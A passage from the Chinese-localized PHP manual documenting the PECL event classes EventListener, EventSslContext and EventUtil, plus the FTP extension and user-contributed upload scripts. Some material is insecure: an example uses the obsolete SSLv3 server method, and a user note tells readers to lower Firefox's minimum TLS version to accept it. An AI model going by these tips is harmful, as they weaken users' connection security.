The only way to not set EventListener::OPT_CLOSE_ON_FREE is to bind the socket before creating EventListener and use this socekt as "target".


Disables an event connect listener object

  • ? EventListener::__construct
  • EventListener::enable ?
  • PHP Manual
  • EventListener
  • Disables an event connect listener object

EventListener::disable

(PECL event >= 1.2.6-beta)

EventListener::disable — Disables an event connect listener object

说明

public EventListener::disable(): bool

Disables an event connect listener object

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventListener::enable() - Enables an event connect listener object

User Contributed Notes

There are no user contributed notes for this page.


Enables an event connect listener object

  • ? EventListener::disable
  • EventListener::getBase ?
  • PHP Manual
  • EventListener
  • Enables an event connect listener object

EventListener::enable

(PECL event >= 1.2.6-beta)

EventListener::enable — Enables an event connect listener object

说明

public EventListener::enable(): bool

Enables an event connect listener object

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventListener::disable() - Disables an event connect listener object

User Contributed Notes

There are no user contributed notes for this page.


Returns event base associated with the event listener

  • ? EventListener::enable
  • EventListener::getSocketName ?
  • PHP Manual
  • EventListener
  • Returns event base associated with the event listener

EventListener::getBase

(PECL event >= 1.2.6-beta)

EventListener::getBase — Returns event base associated with the event listener

说明

public EventListener::getBase(): void

Returns event base associated with the event listener.

参数

此函数没有参数。

返回值

Returns event base associated with the event listener.

User Contributed Notes

There are no user contributed notes for this page.


Retreives the current address to which the listener's socket is bound

  • ? EventListener::getBase
  • EventListener::setCallback ?
  • PHP Manual
  • EventListener
  • Retreives the current address to which the listener's socket is bound

EventListener::getSocketName

(PECL event >= 1.5.0)

EventListener::getSocketName — Retreives the current address to which the listener's socket is bound

说明

public static EventListener::getSocketName( string &$address , mixed &$port = ?): bool

Retreives the current address to which the listener's socket is bound.

参数

address

Output parameter. IP-address depending on the socket address family.

port

Output parameter. The port the socket is bound to.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


The setCallback purpose

  • ? EventListener::getSocketName
  • EventListener::setErrorCallback ?
  • PHP Manual
  • EventListener
  • The setCallback purpose

EventListener::setCallback

(PECL event >= 1.2.6-beta)

EventListener::setCallback — The setCallback purpose

说明

public EventListener::setCallback( callable $cb , mixed $arg = null ): void

Adjust event connect listener's callback and optionally the callback argument.

参数

cb

The new callback for new connections. Ignored if null.

Should match the following prototype:

callback(
EventListener $listener = null ,
mixed $fd = null ,
array $address = null ,
mixed $arg = null
): void

listener

The EventListener object.

fd

The file descriptor or a resource associated with the listener.

address

Array of two elements: IP address and the server port.

arg

User custom data attached to the callback.

arg

Custom user data attached to the callback. Ignored if null.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set event listener's error callback

  • ? EventListener::setCallback
  • EventSslContext ?
  • PHP Manual
  • EventListener
  • Set event listener's error callback

EventListener::setErrorCallback

(PECL event >= 1.2.6-beta)

EventListener::setErrorCallback — Set event listener's error callback

说明

public EventListener::setErrorCallback( string $cb ): void

Set event listener's error callback

参数

cb

The error callback. Should match the following prototype:

callback( EventListener $listener = null , mixed $data = null ): void

listener

The EventListener object.

data

User custom data attached to the callback.

返回值

参见

  • EventListener::setCallback() - The setCallback purpose

User Contributed Notes

There are no user contributed notes for this page.


The EventSslContext class

(PECL event >= 1.2.6-beta)

简介

Represents SSL_CTX structure. Provides methods and properties to configure the SSL context.

类摘要

final class EventSslContext {
/* 常量 */
const int SSLv2_CLIENT_METHOD = 1;
const int SSLv3_CLIENT_METHOD = 2;
const int SSLv23_CLIENT_METHOD = 3;
const int TLS_CLIENT_METHOD = 4;
const int SSLv2_SERVER_METHOD = 5;
const int SSLv3_SERVER_METHOD = 6;
const int SSLv23_SERVER_METHOD = 7;
const int TLS_SERVER_METHOD = 8;
const int OPT_LOCAL_CERT = 1;
const int OPT_LOCAL_PK = 2;
const int OPT_PASSPHRASE = 3;
const int OPT_CA_FILE = 4;
const int OPT_CA_PATH = 5;
const int OPT_ALLOW_SELF_SIGNED = 6;
const int OPT_VERIFY_PEER = 7;
const int OPT_VERIFY_DEPTH = 8;
const int OPT_CIPHERS = 9;
/* 属性 */
public string $local_cert;
public string $local_pk;
/* 方法 */
public __construct( string $method , string $options )
}

属性

local_cert

Path to local certificate file on filesystem. It must be a PEM-encoded file which contains certificate. It can optionally contain the certificate chain of issuers.

local_pk

Path to local private key file

预定义常量

EventSslContext::SSLv2_CLIENT_METHOD

SSLv2 client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv3_CLIENT_METHOD

SSLv3 client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv23_CLIENT_METHOD

SSLv23 client method. See SSL_CTX_new(3) man page.

EventSslContext::TLS_CLIENT_METHOD

TLS client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv2_SERVER_METHOD

SSLv2 server method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv3_SERVER_METHOD

SSLv3 server method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv23_SERVER_METHOD

SSLv23 server method. See SSL_CTX_new(3) man page.

EventSslContext::TLS_SERVER_METHOD

TLS server method. See SSL_CTX_new(3) man page.

EventSslContext::OPT_LOCAL_CERT

Key for an item of the options' array used in EventSslContext::__construct() . The option points to path of local certificate.

EventSslContext::OPT_LOCAL_PK

Key for an item of the options' array used in EventSslContext::__construct() . The option points to path of the private key.

EventSslContext::OPT_PASSPHRASE

Key for an item of the options' array used in EventSslContext::__construct() . Represents passphrase of the certificate.

EventSslContext::OPT_CA_FILE

Key for an item of the options' array used in EventSslContext::__construct() . Represents path of the certificate authority file.

EventSslContext::OPT_CA_PATH

Key for an item of the options' array used in EventSslContext::__construct() . Represents path where the certificate authority file should be searched for.

EventSslContext::OPT_ALLOW_SELF_SIGNED

Key for an item of the options' array used in EventSslContext::__construct() . Represents option that allows self-signed certificates.

EventSslContext::OPT_VERIFY_PEER

Key for an item of the options' array used in EventSslContext::__construct() . Represents option that tells Event to verify peer.

EventSslContext::OPT_VERIFY_DEPTH

Key for an item of the options' array used in EventSslContext::__construct() . Represents maximum depth for the certificate chain verification that shall be allowed for the SSL context.

EventSslContext::OPT_CIPHERS

Key for an item of the options' array used in EventSslContext::__construct() . Represents the cipher list for the SSL context.

Table of Contents

  • EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:29
The context SSLv3_SERVER_METHOD is being actively blocked by Firefox but TLS_SERVER_METHOD works without that warning screen.
If you do want to use/test the SSLv3_SERVER_METHOD context, you can disable the check in Firefox by going to about:config and set 'security.tls.version.min' to 0.


Constructs an OpenSSL context for use with Event classes

  • ? EventSslContext
  • EventUtil ?
  • PHP Manual
  • EventSslContext
  • Constructs an OpenSSL context for use with Event classes

EventSslContext::__construct

(PECL event >= 1.2.6-beta)

EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes

说明

public EventSslContext::__construct( string $method , string $options )

Creates SSL context holding pointer to SSL_CTX (see the system manual).

参数

method

One of EventSslContext::*_METHOD constants .

options

Associative array of SSL context options One of EventSslContext::OPT_* constants .

返回值

Returns EventSslContext object.

示例

Example #1 EventSslContext::__construct() example

<?php
$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array(
EventSslContext::OPT_LOCAL_CERT => $local_cert,
EventSslContext::OPT_LOCAL_PK => $local_pk,
EventSslContext::OPT_PASSPHRASE => "echo server",
EventSslContext::OPT_VERIFY_PEER => true,
EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
));
?>

User Contributed Notes

There are no user contributed notes for this page.


The EventUtil class

(PECL event >= 1.5.0)

简介

EventUtil is a singleton with supplimentary methods and constants.

类摘要

final class EventUtil {
/* 常量 */
const int AF_INET = 2;
const int AF_INET6 = 10;
const int AF_UNSPEC = 0;
const int LIBEVENT_VERSION_NUMBER = 33559808;
const int SO_DEBUG = 1;
const int SO_REUSEADDR = 2;
const int SO_KEEPALIVE = 9;
const int SO_DONTROUTE = 5;
const int SO_LINGER = 13;
const int SO_BROADCAST = 6;
const int SO_OOBINLINE = 10;
const int SO_SNDBUF = 7;
const int SO_RCVBUF = 8;
const int SO_SNDLOWAT = 19;
const int SO_RCVLOWAT = 18;
const int SO_SNDTIMEO = 21;
const int SO_RCVTIMEO = 20;
const int SO_TYPE = 3;
const int SO_ERROR = 4;
const int SOL_SOCKET = 1;
const int SOL_TCP = 6;
const int SOL_UDP = 17;
const int IPPROTO_IP = 0;
const int IPPROTO_IPV6 = 41;
/* 方法 */
abstract public __construct()
public static getLastSocketErrno( mixed $socket = null ): int
public static getLastSocketError( mixed $socket = ?): string
public static getSocketFd( mixed $socket ): int
public static getSocketName( mixed $socket , string &$address , mixed &$port = ?): bool
public static setSocketOption(
mixed $socket ,
int $level ,
int $optname ,
mixed $optval
): bool
public static sslRandPoll(): void
}

预定义常量

EventUtil::AF_INET

IPv4 address family

EventUtil::AF_INET6

IPv6 address family

EventUtil::AF_UNSPEC

Unspecified IP address family

EventUtil::SO_DEBUG

Socket option. Enable socket debugging. Only allowed for processes with the CAP_NET_ADMIN capability or an effective user ID of 0 . (Added in event-1.6.0.)

EventUtil::SO_REUSEADDR

Socket option. Indicates that the rules used in validating addresses supplied in a bind(2) call should allow reuse of local addresses. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_KEEPALIVE

Socket option. Enable sending of keep-alive messages on connection-oriented sockets. Expects an integer boolean flag. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_DONTROUTE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_LINGER

Socket option. When enabled, a close(2) or shutdown(2) will not return until all queued messages for the socket have been successfully sent or the linger timeout has been reached. Otherwise, the call returns immediately and the closing is done in the background. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_BROADCAST

Socket option. Reports whether transmission of broadcast messages is supported. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_OOBINLINE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDBUF

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVBUF

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDLOWAT

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVLOWAT

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDTIMEO

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVTIMEO

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_TYPE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_ERROR

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_SOCKET

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_TCP

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_UDP

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::IPPROTO_IP

See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::IPPROTO_IPV6

See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::LIBEVENT_VERSION_NUMBER

Libevent' version number at the time when Event extension had been compiled with the library.

Table of Contents

  • EventUtil::__construct — The abstract constructor
  • EventUtil::getLastSocketErrno — Returns the most recent socket error number
  • EventUtil::getLastSocketError — Returns the most recent socket error
  • EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream
  • EventUtil::getSocketName — Retreives the current address to which the socket is bound
  • EventUtil::setSocketOption — Sets socket options
  • EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

User Contributed Notes

There are no user contributed notes for this page.


The abstract constructor

  • ? EventUtil
  • EventUtil::getLastSocketErrno ?
  • PHP Manual
  • EventUtil
  • The abstract constructor

EventUtil::__construct

(PECL event >= 1.2.6-beta)

EventUtil::__construct — The abstract constructor

说明

abstract public EventUtil::__construct()

EventUtil is a singleton. Therefore the constructor is abstract, and it is impossible to create objects based on this class.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns the most recent socket error number

  • ? EventUtil::__construct
  • EventUtil::getLastSocketError ?
  • PHP Manual
  • EventUtil
  • Returns the most recent socket error number

EventUtil::getLastSocketErrno

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketErrno — Returns the most recent socket error number

说明

public static EventUtil::getLastSocketErrno( mixed $socket = null ): int

Returns the most recent socket error number( errno ).

参数

socket

Socket resource, stream or a file descriptor of a socket.

返回值

Returns the most recent socket error number( errno ).

参见

  • EventUtil::getLastSocketError() - Returns the most recent socket error

User Contributed Notes

There are no user contributed notes for this page.


Returns the most recent socket error

  • ? EventUtil::getLastSocketErrno
  • EventUtil::getSocketFd ?
  • PHP Manual
  • EventUtil
  • Returns the most recent socket error

EventUtil::getLastSocketError

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketError — Returns the most recent socket error

说明

public static EventUtil::getLastSocketError( mixed $socket = ?): string

Returns the most recent socket error.

参数

socket

Socket resource, stream or a file descriptor of a socket.

返回值

Returns the most recent socket error.

参见

  • EventUtil::getLastSocketErrno() - Returns the most recent socket error number

User Contributed Notes

There are no user contributed notes for this page.


Returns numeric file descriptor of a socket, or stream

  • ? EventUtil::getLastSocketError
  • EventUtil::getSocketName ?
  • PHP Manual
  • EventUtil
  • Returns numeric file descriptor of a socket, or stream

EventUtil::getSocketFd

(PECL event >= 1.7.0)

EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream

说明

public static EventUtil::getSocketFd( mixed $socket ): int

Returns numeric file descriptor of a socket or stream specified by socket argument just like the Event extension does it internally for all methods accepting socket resource or stream.

参数

socket

Socket resource or stream.

返回值

Returns numeric file descriptor of a socket, or stream. EventUtil::getSocketFd() returns false in case if it is whether failed to recognize the type of the underlying file, or detected that the file descriptor associated with socket is not valid.

User Contributed Notes

There are no user contributed notes for this page.


Retreives the current address to which the socket is bound

  • ? EventUtil::getSocketFd
  • EventUtil::setSocketOption ?
  • PHP Manual
  • EventUtil
  • Retreives the current address to which the socket is bound

EventUtil::getSocketName

(PECL event >= 1.5.0)

EventUtil::getSocketName — Retreives the current address to which the socket is bound

说明

public static EventUtil::getSocketName( mixed $socket , string &$address , mixed &$port = ?): bool

Retreives the current address to which the socket is bound.

参数

socket

Socket resource, stream or a file descriptor of a socket.

address

Output parameter. IP-address, or the UNIX domain socket path depending on the socket address family.

port

Output parameter. The port the socket is bound to. Has no meaning for UNIX domain sockets.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets socket options

  • ? EventUtil::getSocketName
  • EventUtil::sslRandPoll ?
  • PHP Manual
  • EventUtil
  • Sets socket options

EventUtil::setSocketOption

(PECL event >= 1.6.0)

EventUtil::setSocketOption — Sets socket options

说明

public static EventUtil::setSocketOption(
mixed $socket ,
int $level ,
int $optname ,
mixed $optval
): bool

Sets socket options.

参数

socket

Socket resource, stream, or numeric file descriptor associated with the socket.

level

One of EventUtil::SOL_* constants. Specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of EventUtil::SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function. See EventUtil constants .

optname

Option name(type). Has the same meaning as corresponding parameter of socket_get_option() function. See EventUtil constants .

optval

Accepts the same values as optval parameter of the socket_get_option() function.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • socket_get_option() - 获取套接字的套接字选项
  • socket_set_option() - 为套接字设置套接字选项

User Contributed Notes

There are no user contributed notes for this page.


Generates entropy by means of OpenSSL's RAND_poll()

  • ? EventUtil::setSocketOption
  • FTP ?
  • PHP Manual
  • EventUtil
  • Generates entropy by means of OpenSSL's RAND_poll()

EventUtil::sslRandPoll

(PECL event >= 1.2.6-beta)

EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

说明

public static EventUtil::sslRandPoll(): void

Generates entropy by means of OpenSSL's RAND_poll() (see the system manual).

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


FTP

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 基本用法
  • FTP 函数
    • ftp_alloc — 为要上传的文件分配空间
    • ftp_append — 将文件内容追加到 FTP 服务器上的指定文件
    • ftp_cdup — 切换到当前目录的父目录
    • ftp_chdir — 在 FTP 服务器上改变当前目录
    • ftp_chmod — 设置 FTP 服务器上的文件权限
    • ftp_close — 关闭 FTP 连接
    • ftp_connect — 建立新 FTP 连接
    • ftp_delete — 删除 FTP 服务器上的文件
    • ftp_exec — 在 FTP 服务器运行指定的命令
    • ftp_fget — 从 FTP 服务器上下载文件并保存到本地已打开的文件中
    • ftp_fput — 上传已打开的文件到 FTP 服务器
    • ftp_get_option — 返回当前 FTP 连接的各种不同的选项设置
    • ftp_get — 从 FTP 服务器上下载文件
    • ftp_login — 登录 FTP 服务器
    • ftp_mdtm — 返回指定文件的最后修改时间
    • ftp_mkdir — 建立新目录
    • ftp_mlsd — 返回指定目录中的文件列表
    • ftp_nb_continue — 连续获取／发送文件（以不分块的方式 non-blocking）
    • ftp_nb_fget — 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）
    • ftp_nb_fput — 将文件存储到 FTP 服务器 （非阻塞）
    • ftp_nb_get — 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
    • ftp_nb_put — 存储一个文件至 FTP 服务器（non-blocking）
    • ftp_nlist — 返回给定目录的文件列表
    • ftp_pasv — 返回当前 FTP 被动模式是否打开
    • ftp_put — 上传文件到 FTP 服务器
    • ftp_pwd — 返回当前目录名
    • ftp_quit — ftp_close 的 别名
    • ftp_raw — 向 FTP 服务器发送命令
    • ftp_rawlist — 返回指定目录下文件的详细列表
    • ftp_rename — 更改 FTP 服务器上的文件或目录名
    • ftp_rmdir — 删除目录
    • ftp_set_option — 设置各种 FTP 运行时选项
    • ftp_site — 向服务器发送 SITE 命令
    • ftp_size — 返回指定文件的大小
    • ftp_ssl_connect — 打开安全 SSL-FTP 连接
    • ftp_systype — 返回远程 FTP 服务器的操作系统类型
  • FTP\Connection — The FTP\Connection class

User Contributed Notes

asifkhandk at gmail dot com 24-Feb-2013 05:19
Upload file to server via ftp.

<?php
$ftp_server="";
 $ftp_user_name="";
 $ftp_user_pass="";
 $file = "";//tobe uploaded
 $remote_file = "";

 // set up basic connection
 $conn_id = ftp_connect($ftp_server);

 // login with username and password
 $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

 // upload a file
 if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file\n";
    exit;
 } else {
    echo "There was a problem while uploading $file\n";
    exit;
    }
 // close the connection
 ftp_close($conn_id);
?>
tendrid at gmail dot com 21-Sep-2011 09:15
For those who dont want to deal with handling the connection once created, here is a simple class that allows you to call any ftp function as if it were an extended method.  It automatically puts the ftp connection into the first argument slot (as all ftp functions require).

This code is php 5.3+

<?php
class ftp{
    public $conn;

    public function __construct($url){
        $this->conn = ftp_connect($url);
    }

    public function __call($func,$a){
        if(strstr($func,'ftp_') !== false && function_exists($func)){
            array_unshift($a,$this->conn);
            return call_user_func_array($func,$a);
        }else{
            // replace with your own error handler.
            die("$func is not a valid FTP function");
        }
    }
}

// Example
$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
var_dump($ftp->ftp_nlist());
?>


简介

本扩展中的函数实现了通过 FTP 协议访问文件服务器的客户端。FTP 协议在 » http://www.faqs.org/rfcs/rfc959 中定义。本扩展提供了对于 FTP 服务器完整的访问及控制功能。如果只是简单的从 FTP 服务器读取或向服务器写入一个文件，请考虑使用 ftp:// 封装协议 和 文件系统函数， 会更加的简单。

User Contributed Notes

There are no user contributed notes for this page.


安装

为了在 PHP 配置中使用 FTP 函数，应该在安装 PHP 时添加 --enable-ftp 选项。

在 Windows 上，此扩展始终编译为共享扩展，因此必须在 php.ini 中启用。

User Contributed Notes

i_djon at hotmail dot com 19-Sep-2017 10:57
For some reason folks downvoted the previous entry for this, BUT... indeed, as of PHP 7, to enable this on Windows you have to add the line:

extension=php_ftp.dll

to your php.ini to resolve PHP errors that tell you PHP FTP functions are not defined; the line isn't in there (where, many things are and are just commented out).
jacob at power9 dot pw 29-May-2017 04:58
On linux, one would enable ftp on their php7 server by uncommenting or adding the line "extension=ftp.so" in their php.ini file (likely at /etc/php/php.ini, unless the user moved it).
julian_de_vries at gmx dot de 18-Mar-2016 09:20
If you are using PHP 7 under Windows you have to enable ftp in php.ini with extension=php_ftp.dll.


资源类型

PHP 8.1.0 之前，本扩展使用一种资源类型，就是由 ftp_connect() 或 ftp_ssl_connect() 函数返回的连接标示符。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

FTP_ASCII (int)

FTP_AUTOSEEK (int)

更多信息请参考 ftp_set_option()。

FTP_AUTORESUME (int)

自动确定 GET 和 PUT 请求的恢复位置和开始位置（仅在启用 FTP_AUTOSEEK 的情况下有效）

FTP_FAILED (int)

异步传输失败

FTP_FINISHED (int)

异步传输完成

FTP_MOREDATA (int)

异步传输正处于活动状态

FTP_TEXT (int)

FTP_ASCII 的别名。

FTP_BINARY (int)

FTP_IMAGE (int)

FTP_BINARY 的别名。

FTP_TIMEOUT_SEC (int)

更多信息请参考 ftp_set_option()。

FTP_USEPASVADDRESS (int)

更多信息请参考 ftp_set_option()。

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • 基本用法

User Contributed Notes

There are no user contributed notes for this page.


基本用法

Example #1 FTP 示例

<?php
// 建立基础连接
$ftp = ftp_connect($ftp_server);

// 使用用户名和口令登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 检查是否成功
if ((!$ftp) || (!$login_result)) {
echo "FTP connection has failed!";
echo "Attempted to connect to $ftp_server for user $ftp_user_name";
exit;
} else {
echo "Connected to $ftp_server, for user $ftp_user_name";
}

// 上传文件
$upload = ftp_put($ftp, $destination_file, $source_file, FTP_BINARY);

// 检查上传结果
if (!$upload) {
echo "FTP upload has failed!";
} else {
echo "Uploaded $source_file to $ftp_server as $destination_file";
}

// 关闭 FTP 连接
ftp_close($ftp);
?>

User Contributed Notes

kane dot prajakta at gmail dot com 14-Jan-2010 02:53
I used following code successfully to connect to "lftp" server and see the complete dir listing.
also ftp_pasv($conn_id, true); trick works fine for lftp server :)

<?php
// set up basic connection
$ftp_server = "example.com";
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$ftp_user_name = "myuser";
$ftp_user_pass = "mypass";
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_pasv($conn_id, true);
// check connection
if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name";
    }

$buff = ftp_rawlist($conn_id, '.');
 var_dump($buff);
ftp_close($conn_id);
?>

Thanks ,
Prajakta
clemensroth2004 at yahoo dot de 08-Jul-2009 03:06
My FTP-Server always responded "bool(false)" instead of presenting me a directory-listing. I had to add
ftp_pasv($conn_id, true); right after the $login_result = ftp_login(...); line.
After that it just worked fine.


FTP 函数

Table of Contents

  • ftp_alloc — 为要上传的文件分配空间
  • ftp_append — 将文件内容追加到 FTP 服务器上的指定文件
  • ftp_cdup — 切换到当前目录的父目录
  • ftp_chdir — 在 FTP 服务器上改变当前目录
  • ftp_chmod — 设置 FTP 服务器上的文件权限
  • ftp_close — 关闭 FTP 连接
  • ftp_connect — 建立新 FTP 连接
  • ftp_delete — 删除 FTP 服务器上的文件
  • ftp_exec — 在 FTP 服务器运行指定的命令
  • ftp_fget — 从 FTP 服务器上下载文件并保存到本地已打开的文件中
  • ftp_fput — 上传已打开的文件到 FTP 服务器
  • ftp_get_option — 返回当前 FTP 连接的各种不同的选项设置
  • ftp_get — 从 FTP 服务器上下载文件
  • ftp_login — 登录 FTP 服务器
  • ftp_mdtm — 返回指定文件的最后修改时间
  • ftp_mkdir — 建立新目录
  • ftp_mlsd — 返回指定目录中的文件列表
  • ftp_nb_continue — 连续获取／发送文件（以不分块的方式 non-blocking）
  • ftp_nb_fget — 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）
  • ftp_nb_fput — 将文件存储到 FTP 服务器 （非阻塞）
  • ftp_nb_get — 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
  • ftp_nb_put — 存储一个文件至 FTP 服务器（non-blocking）
  • ftp_nlist — 返回给定目录的文件列表
  • ftp_pasv — 返回当前 FTP 被动模式是否打开
  • ftp_put — 上传文件到 FTP 服务器
  • ftp_pwd — 返回当前目录名
  • ftp_quit — ftp_close 的 别名
  • ftp_raw — 向 FTP 服务器发送命令
  • ftp_rawlist — 返回指定目录下文件的详细列表
  • ftp_rename — 更改 FTP 服务器上的文件或目录名
  • ftp_rmdir — 删除目录
  • ftp_set_option — 设置各种 FTP 运行时选项
  • ftp_site — 向服务器发送 SITE 命令
  • ftp_size — 返回指定文件的大小
  • ftp_ssl_connect — 打开安全 SSL-FTP 连接
  • ftp_systype — 返回远程 FTP 服务器的操作系统类型

User Contributed Notes

spam at kacke dot de 28-Mar-2008 09:46
Here is a FTP-abstraction-class which supports the most commands.

Also it works on TLS, SSLv2 etc. by using stream_crypto_enable()

http://kacke.de/php_samples/source.php?f=ftp.cls.php

Many thanks to WEZ at this point after all the years :-)

Toppi
dot a dot@dot dot com 17-Sep-2007 08:49
This took me a few hours to work out. It is based on the code below I've just added a string replace to convert pathname given by Windows to Unix pathname. Hope it saves somebody some time. Enjoy! (Also, delete file function is included:))

<?php
$myFile = $_FILES['file']; // This will make an array out of the file information that was stored.
    $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.
    $myFileName = $_POST['MyFile']; //Retrieve file path and file name
    $myfile_replace = str_replace('\\', '/', $myFileName);    //convert path for use with unix
    $myfile = basename($myfile_replace);    //extract file name from path
    $destination_file = "/".$myfile;  //where you want to throw the file on the webserver (relative to your login dir)
    // connection settings
    $ftp_server = "127.0.0.1";  //address of ftp server (leave out ftp://)
    $ftp_user_name = ""; // Username
    $ftp_user_pass = "";   // Password
    $conn_id = ftp_connect($ftp_server);        // set up basic connection
    // login with username and password, or give invalid user message
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h1>You do not have access to this ftp server!</h1>");
    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
    if (!$upload) {  // check upload status
        echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
    }
/*
    // try to delete $file
    if (ftp_delete($conn_id, $destination_file)) {
        echo "$destination_file has been deleted!\n";
    } else {
        echo "Could not delete $destination_file!\n";
    }
*/
ftp_close($conn_id); // close the FTP stream
}
?>
<form name="form" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" >
Please choose a file: <input type="file" name="file" accept="text/plain" onChange="MyFile.value=file.value">
<input name="MyFile" type="hidden" id="MyFile" tabindex="99" size="1" />
<input type="submit" name="submit" value="upload" style="vertical-align:middle"/><br/><br/>
</form>
ras "at" fyn {dot} dk 26-Jan-2007 01:11
A function to get a remote file and return it's contents, instead of saving to a local file, was missing - here it is:

function ftp_fetch($ftp_stream, $remote_file) {
    ob_end_flush();
    ob_start();
    $out = fopen('php://output', 'w');
    if (!ftp_fget($ftp_stream, $out, $remote_file, FTP_ASCII)) die('Unable to get file: ' . $remote_file);
    fclose($out);
    $data = ob_get_clean();
    return $data;
}

It works the same as ftp_get(), but instead returns the contents of the remote file - for example:

$ftp = ftp_connect('my.server.com', 21, 60);
ftp_login($ftp, 'username', 'password');
$data = ftp_fetch($ftp, 'path/to/remote.file');
echo $data;

Note, I use it to fetch text-files from a server - if you need to fetch binary files, change FTP_ASCII to FTP_BINARY .. but most likely, getting files to memory is only useful for smaller files, e.g. plain text, xml, etc.
breese at pipetech dot tv 29-Dec-2006 09:02
I fixed the below upload script to work with Windows uploads (and updated some of the syntax). I also added a Javascript "progress indicator" for those of us who don't use PHP 5.2

<?php
if(isset($_POST['start_upload']) && $_FILES['txt_file']['name'] != ""){

    $local_file = $_FILES['txt_file']['tmp_name']; // Defines Name of Local File to be Uploaded

    $destination_file = "/".basename($_FILES['txt_file']['name']);  // Path for File Upload (relative to your login dir)

    // Global Connection Settings
    $ftp_server = "127.0.0.1";      // FTP Server Address (exlucde ftp://)
    $ftp_user_name = "username";     // FTP Server Username
    $ftp_user_pass = "password";      // Password

    // Connect to FTP Server
    $conn_id = ftp_connect($ftp_server);
    // Login to FTP Server
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    // Verify Log In Status
    if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed! <br />";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name <br />";
    }

    $upload = ftp_put($conn_id, $destination_file, $local_file, FTP_BINARY);  // Upload the File

    // Verify Upload Status
    if (!$upload) {
        echo "<h2>FTP upload of ".$_FILES['txt_file']['name']." has failed!</h2><br /><br />";
    } else {
        echo "Success!<br />" . $_FILES['txt_file']['name'] . " has been uploaded to " . $ftp_server . $destination_file . "!<br /><br />";
    }

    ftp_close($conn_id); // Close the FTP Connection
}
?>

<html>
    <head>
        <script type="text/javascript">
            window.onload = function() {
